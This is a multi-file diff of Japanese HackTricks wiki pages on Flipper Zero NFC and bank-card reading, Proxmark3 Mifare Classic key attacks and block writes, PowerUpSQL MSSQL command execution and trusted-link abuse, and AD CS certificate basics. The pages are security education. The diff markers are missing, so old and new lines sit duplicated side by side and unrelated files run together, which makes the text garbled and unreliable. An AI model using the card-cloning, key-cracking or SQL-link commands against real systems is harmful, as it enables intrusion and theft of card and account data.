Flipperでは、13.56 MHzタグの読み取りを次の2つの部分に分けることができます
* **低レベルの読み取り** — UID、SAK、ATQAのみを読み取ります。Flipperは、カードから読み取ったこのデータに基づいて高レベルのプロトコルを推測しようとします。これは、特定の要因に基づいた仮定にぎないため、100確実ではありません。
* **低レベルの読み取り** — UID、SAK、ATQAのみを読み取ります。Flipperは、カードから読み取ったこのデータに基づいて高レベルのプロトコルを推測しようとします。これは、特定の要因に基づいた仮定にぎないため、100確実ではありません。
* **高レベルの読み取り** — 特定の高レベルプロトコルを使用してカードのメモリからデータを読み取ります。これは、Mifare Ultralightのデータの読み取り、Mifare Classicからセクターの読み取り、PayPass/Apple Payからカードの属性の読み取りなどが該当します。
### 特定の読み取り
@ -88,16 +88,15 @@ Flipper Zeroが低レベルデータからカードのタイプを特定でき
#### EMV銀行カードPayPass、payWave、Apple Pay、Google Pay <a href="#emv-bank-cards-paypass-paywave-apple-pay-google-pay" id="emv-bank-cards-paypass-paywave-apple-pay-google-pay"></a>
UIDを単に読み取るだけでなく、銀行カードから多くのデータを抽出することができます。銀行カードのフルカード番号カードの表面にある16桁の数字、有効期限、場合によってはオーナーの名前と、**最近の取引のリスト**さえ取得できます。\
ただし、この方法では**CVVは読み取れません**カードの裏面にある3桁の数字。また、**銀行カードはリプレイ攻撃から保護**されているため、Flipperでコピーしてから何かを支払うためにエミュレートしようとしても機能しません。
UIDを単に読み取るだけでなく、銀行カードから多くのデータを抽出することができます。カードの表面にある16桁の**完全なカード番号**、**有効期限**、場合によっては**所有者の名前**と**最近の取引のリスト**さらに、**この方法ではCVVは読み取れません**カードの裏面にある3桁の番号。また、**銀行カードはリプレイ攻撃から保護されている**ため、Flipperでコピーしてから何かを支払うためにエミュレートしようとしても機能しません。
## 参考文献
## 参
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
脆弱性を見つけて修正を迅速に行いましょう。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまでの問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまでの問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -105,10 +104,10 @@ UIDを単に読み取るだけでなく、銀行カードから多くのデー
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**してみたいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを入手しましょう。
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを入手しましょう。
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有する、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>

View file

@ -4,17 +4,17 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**する**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化します。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
最も重要な脆弱性を見つけて、迅速に修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -28,7 +28,7 @@
**16のセクター**があり、それぞれに**4つのブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0のブロック0にあります変更できません。\
各セクターにアクセスするには、**2つのキー****A**と**B**)が必要で、これらは各セクターの**ブロック3に保存**されています(セクタートレーラー)。セクタートレーラーには、各ブロックの**読み取りおよび書き込み**権限を与える**アクセスビット**も保存されています。\
2つのキーは、最初のキーを知っている場合に読み取り権限を与え、2番目のキーを知っている場合に書き込み権限を与えるに役立ちます(例えば)。
2つのキーは、最初のキーを知っている場合に読み取り権限を与え、2番目のキーを知っている場合に書き込み権限を与えるために役立ちます(例えば)。
複数の攻撃が実行できます。
```bash
@ -49,7 +49,7 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card
```
Proxmark3は、**盗聴**や**Tag to Reader通信**などの他のアクションを実行することができます。このカードでは、**暗号操作が弱い**ため、通信をスニッフィングして使用されているキーを計算することができます(`mfkey64`ツール)。
Proxmark3は、**盗聴**や**Tag to Reader通信**などの他のアクションを実行することができます。このカードでは、**暗号操作が弱い**ため、通信をスニッフして使用されているキーを計算することができます(`mfkey64`ツール)。
### 生のコマンド
@ -67,7 +67,7 @@ Valid ISO14443A Tag Found - Quiting Search
### スクリプト
Proxmark3ソフトウェアには、簡単なタスクを実行するために使用できる**自動化スクリプト**の事前にロードされたリストが付属しています。完全なリストを取得するには、`script list`コマンドを使用します。次に、スクリプトの名前に続いて`script run`コマンドを使用します。
Proxmark3ソフトウェアには、簡単なタスクを実行するために使用できる**自動化スクリプト**の事前にロードされたリストが付属しています。完全なリストを取得するには、`script list`コマンドを使用します。次に、スクリプトの名前を指定して`script run`コマンドを使用します。
```
proxmark3> script run mfkeys
```
@ -87,7 +87,7 @@ proxmark3> script run mfkeys
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れます
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -4,30 +4,30 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**したいですか?または **PEASS の最新バージョンにアクセスしたり、HackTricks PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式の PEASS & HackTricks スウェグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローします**。
* **ハッキングトリックを共有する**には、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)に PR を提出してください。
</details>
### こんにちは!!
まず最初に、他のサイトからの研究技術のすべての**クレジットは元の著者に帰属**する必要があることを示す必要があります(ページには参照があります)。インターネットのセキュリティを向上させるために知識を共有するすべての研究に感謝します。
まず第一に、すべての**他のサイトからの研究技術のクレジットは元の著者に帰属**する必要があります(ページには参照があります)。インターネットのセキュリティを向上させるために知識を共有してくれるすべての研究者に感謝します。
HackTricksは、Carlosを中心とした**サイバーセキュリティに関する知識をまとめた教育用Wiki**であり、何百もの共同研究者によって更新される**ハッキングトリックの巨大なコレクション**です!何か不足しているか古くなっていると感じた場合は、[**Hacktricks Github**](https://github.com/carlospolop/hacktricks)に**プルリクエスト**を送信してください!
HackTricks は、Carlos を中心とした数百人の共同編集者によってリードされる**サイバーセキュリティに関する知識をまとめた教育用 Wiki**です!**ハッキングトリックの膨大なコレクション**であり、コミュニティによってできるだけ最新の情報を維持するように更新されています。何か不足しているか古くなっていると感じた場合は、[**Hacktricks Github**](https://github.com/carlospolop/hacktricks)に **Pull Request** を送信してください!
HackTricksはまた、**多くの研究者が最新の発見を共有**しているWikiでもあり、最新のハッキング技術を追いかけるのに最適な場所です。
HackTricks はまた、**多くの研究者が最新の発見を共有**しているウィキでもあり、最新のハッキング技術を追いかけるのに最適な場所です。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングテクニックを共有してください。
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**したいですか?または **PEASS の最新バージョンにアクセスしたり、HackTricks PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式の PEASS & HackTricks スウェグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォローします**。
* **ハッキングトリックを共有する**には、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)に PR を提出してください。
</details>

View file

@ -4,10 +4,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**ですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクション
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**する**🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
@ -18,7 +18,7 @@ PowerUpSQLというPowerShellモジュールはこの場合非常に役立ちま
```powershell
Import-Module .\PowerupSQL.psd1
```
### ドメインセッションなしでネットワークから列挙する
### ドメインセッションなしでネットワークから列挙
```powershell
# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
@ -80,9 +80,9 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
## MSSQL信頼されたリンク
もしMSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合、ユーザーが信頼されたデータベースに権限を持っている場合、**信頼関係を使用して他のインスタンスでもクエリを実行できる**ようになります。これらの信頼関係は連鎖することができ、ユーザーはいくつかの構成ミスがあるデータベースを見つけてコマンドを実行できるかもしれません。
もしMSSQLインスタンスが別のMSSQLインスタンスによって信頼されている場合、ユーザーが信頼されたデータベースに権限を持っている場合、**信頼関係を使用して他のインスタンスでもクエリを実行することができます**。この信頼関係は連鎖することができ、ユーザーはいくつかの設定ミスのあるデータベースを見つけてコマンドを実行することができるかもしれません。
**データベース間のリンクは、フォレストトラストを超えて機能します。**
**データベース間のリンクは、フォレストトラストを超えて機能します。**
### Powershellの悪用
```powershell
@ -138,7 +138,7 @@ select * from master..sysservers
```
![](<../../.gitbook/assets/image (168).png>)
#### 信頼できるリンクでクエリを実行
#### 信頼できるリンクでクエリを実行する
リンクを介してクエリを実行します(例:新しいアクセス可能なインスタンスでより多くのリンクを見つける):
```sql

View file

@ -2,108 +2,127 @@
<details>
<summary><strong>AWS ハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法
HackTricks をサポートする他の方法:
* **HackTricks に広告を掲載したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com) を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションをチェックす
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に **参加する** か、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**フォローする**
* **HackTricks** の [**GitHub リポジトリ**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) に PR を提出して、ハッキングのコツを共有する
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけ
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 **@carlospolopm** をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details>
## 基本情報
## 導入
### 証明書の構成要素
* **Subject** - 証明書の所有者。
* **Public Key** - Subject を別に保存されている秘密鍵と関連付ける。
* **NotBefore および NotAfter 日付** - 証明書が有効である期間を定義する。
* **Serial Number** - CA によって割り当てられた証明書の識別子。
* **Issuer** - 証明書を発行した人(通常は CAを識別する。
* **SubjectAlternativeName** - Subject が使用する可能性のある 1 つ以上の代替名を定義する。(_以下を参照_)
* **Basic Constraints** - 証明書が CA であるかエンドエンティティであるかを識別し、証明書を使用する際の制約があるかどうかを示す。
* **Extended Key Usages (EKUs)** - 証明書の使用方法を記述するオブジェクト識別子OID。Microsoft の用語では Enhanced Key Usage とも呼ばれる。一般的な EKU OID には以下が含まれる:
* Code Signing (OID 1.3.6.1.5.5.7.3.3) - 実行可能コードの署名用の証明書。
* Encrypting File System (OID 1.3.6.1.4.1.311.10.3.4) - ファイルシステムの暗号化用の証明書。
* Secure Email (1.3.6.1.5.5.7.3.4) - 電子メールの暗号化用の証明書。
* Client Authentication (OID 1.3.6.1.5.5.7.3.2) - 他のサーバーADへの認証用の証明書。
* Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2) - スマートカード認証に使用する証明書。
* Server Authentication (OID 1.3.6.1.5.5.7.3.1) - サーバーHTTPS 証明書)を識別するための証明書。
* **Signature Algorithm** - 証明書に署名するために使用されるアルゴリズムを指定する。
* **Signature** - 発行者CAの秘密鍵を使用して証明書本体の署名。
- 証明書の **Subject** は所有者を示します。
- **Public Key** は証明書を正当な所有者にリンクするために非公開のキーとペアになります。
- **NotBefore** および **NotAfter** 日付によって定義される **有効期間** は、証明書の有効期間を示します。
- 証明書機関CAによって提供される一意の **Serial Number** は、各証明書を識別します。
- **Issuer** は証明書を発行したCAを指します。
- **SubjectAlternativeName** は、主体の追加名を許可し、識別の柔軟性を向上させます。
- **Basic Constraints** は、証明書がCA用かエンドエンティティ用かを識別し、使用制限を定義します。
- **Extended Key Usages (EKUs)** は、コード署名やメール暗号化などの証明書の特定の目的を、オブジェクト識別子OIDを通じて明確にします。
- **Signature Algorithm** は、証明書に署名するための方法を指定します。
- **Signature** は、発行者の秘密鍵で作成され、証明書の信頼性を保証します。
#### Subject Alternative Names
### 特別な考慮事項
**Subject Alternative Name**SANは X.509v3 拡張機能です。これにより、**追加のアイデンティティ**を**証明書**にバインドすることができます。例えば、Web サーバーが**複数のドメインのコンテンツ**をホストしている場合、**各**適用される**ドメイン**を**SAN**に**含める**ことができ、Web サーバーは単一の HTTPS 証明書のみを必要とします。
- **Subject Alternative Names (SANs)** は、複数の識別子に証明書を適用するために拡張され、複数のドメインを持つサーバーにとって重要です。SAN仕様を操作する攻撃者によるなりすましリスクを回避するために、安全な発行プロセスが重要です。
デフォルトでは、証明書ベースの認証中に、AD は SAN に指定された UPN に基づいて証明書をユーザーアカウントにマッピングする方法の一つです。攻撃者がクライアント認証を可能にする EKU を持つ証明書のリクエスト時に**任意の SAN**を**指定できる**場合、CA が攻撃者が提供した SAN を使用して証明書を作成して署名すると、**攻撃者はドメイン内の任意のユーザーになることができます**。
### Active DirectoryADの証明書機関CAs
### CAs
AD CS は、ADフォレスト内のCA証明書を指定されたコンテナを介して認識します。各コンテナは固有の役割を果たします:
AD CS は、`CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>` のコンテナの下にある 4 つの場所で、AD フォレストが信頼する CA 証明書を定義します。それぞれの目的によって異なります:
- **Certification Authorities** コンテナには信頼されたルートCA証明書が保持されます。
- **Enrolment Services** コンテナにはエンタープライズCAとその証明書テンプレートの詳細が記載されます。
- **NTAuthCertificates** オブジェクトには、AD認証に認証されたCA証明書が含まれます。
- **AIA (Authority Information Access)** コンテナは、中間およびクロスCA証明書を使用して証明書チェーンの検証を容易にします。
* **Certification Authorities** コンテナは、**信頼されるルート CA 証明書**を定義します。これらの CA は PKI ツリー階層の**最上位**にあり、AD CS 環境での信頼の基盤です。各 CA はコンテナ内の AD オブジェクトとして表され、**objectClass** は **`certificationAuthority`** に設定され、**`cACertificate`** プロパティには **CA の証明書のバイト**が含まれます。Windows はこれらの CA 証明書を**各 Windows マシン**の信頼されたルート証明機関の証明書ストアに伝播します。AD が証明書を**信頼されたものとして考慮する**ためには、証明書の信頼**チェーン**は最終的にこのコンテナで定義された**ルート CA のいずれかで**終わる必要があります。
* **Enrolment Services** コンテナは、**Enterprise CA**つまり、Enterprise CA ロールが有効になっている AD CS で作成された CAを定義します。各 Enterprise CA には、以下の属性を持つ AD オブジェクトがあります:
* **objectClass** 属性を **`pKIEnrollmentService`** に設定
* **`cACertificate`** 属性には **CA の証明書のバイト**が含まれる
* **`dNSHostName`** プロパティには **CA の DNS ホスト**が設定されている
* **certificateTemplates** フィールドには **有効な証明書テンプレート**が定義されています。証明書テンプレートは、CA が証明書を作成する際に使用する設定の「設計図」であり、EKU、登録権限、証明書の有効期限、発行要件、暗号化設定などが含まれます。証明書テンプレートについては後で詳しく説明します。
### 証明書取得: クライアント証明書リクエストフロー
{% hint style="info" %}
AD 環境では、**クライアントは Enterprise CA と対話して、証明書テンプレートで定義された設定に基づいて証明書をリクエストします**。Enterprise CA の証明書は、各 Windows マシンの中間証明機関の証明書ストアに伝播されます。
{% endhint %}
* **NTAuthCertificates** AD オブジェクトは、AD への認証を可能にする CA 証明書を定義します。このオブジェクトには **objectClass****`certificationAuthority`** であり、オブジェクトの **`cACertificate`** プロパティは **信頼される CA 証明書の配列**を定義します。AD に参加している Windows マシンは、これらの CA を各マシンの中間証明機関の証明書ストアに伝播します。**クライアント** アプリケーションは、NTAuthCertificates オブジェクトによって定義された **CA のいずれかが** 認証クライアントの証明書に**署名している場合に限り**、AD に対して証明書を使用して**認証**することができます。
* **AIA**Authority Information Accessコンテナは、中間およびクロス CA の AD オブジェクトを保持します。**中間 CA はルート CA の「子」**であり、PKI ツリー階層内で、このコンテナは**証明書チェーンの検証**を支援するために存在します。Certification Authorities コンテナと同様に、各**CA は AIA コンテナ内の AD オブジェクト**として表され、objectClass 属性は certificationAuthority に設定され、**`cACertificate`** プロパティには **CA の証明書のバイト**が含まれます。これらの CA は、各 Windows マシンの中間証明機関の証明書ストアに伝播されます。
### クライアント証明書リクエストフロー
<figure><img src="../../.gitbook/assets/image (5) (2) (2).png" alt=""><figcaption></figcaption></figure>
AD CS から**証明書を取得する**プロセスです。概要を説明すると、登録中にクライアントはまず上記で説明した**Enrolment Services** コンテナのオブジェクトに基づいて **Enterprise CA を見つけます**
1. クライアントは次に **公開鍵-秘密鍵ペア**を生成し、
2. 公開鍵を **証明書署名リクエストCSR** メッセージに配置し、証明書の主体や**証明書テンプレート名**などの詳細とともに配置します。クライアントは CSR を自分の秘密鍵で**署名**し、CSR を Enterprise CA サーバーに送信します。
3. **CA** サーバーは、クライアントが**証明書をリクエストできるかどうかを確認します**。そうであれば、CSR で指定された**証明書テンプレート** AD オブジェクトを参照して、証明書を発行するかどうかを決定します。CA は、証明書テンプレート AD オブジェクトの**権限が**認証アカウントが**証明書を取得できるかどうかを確認します**。
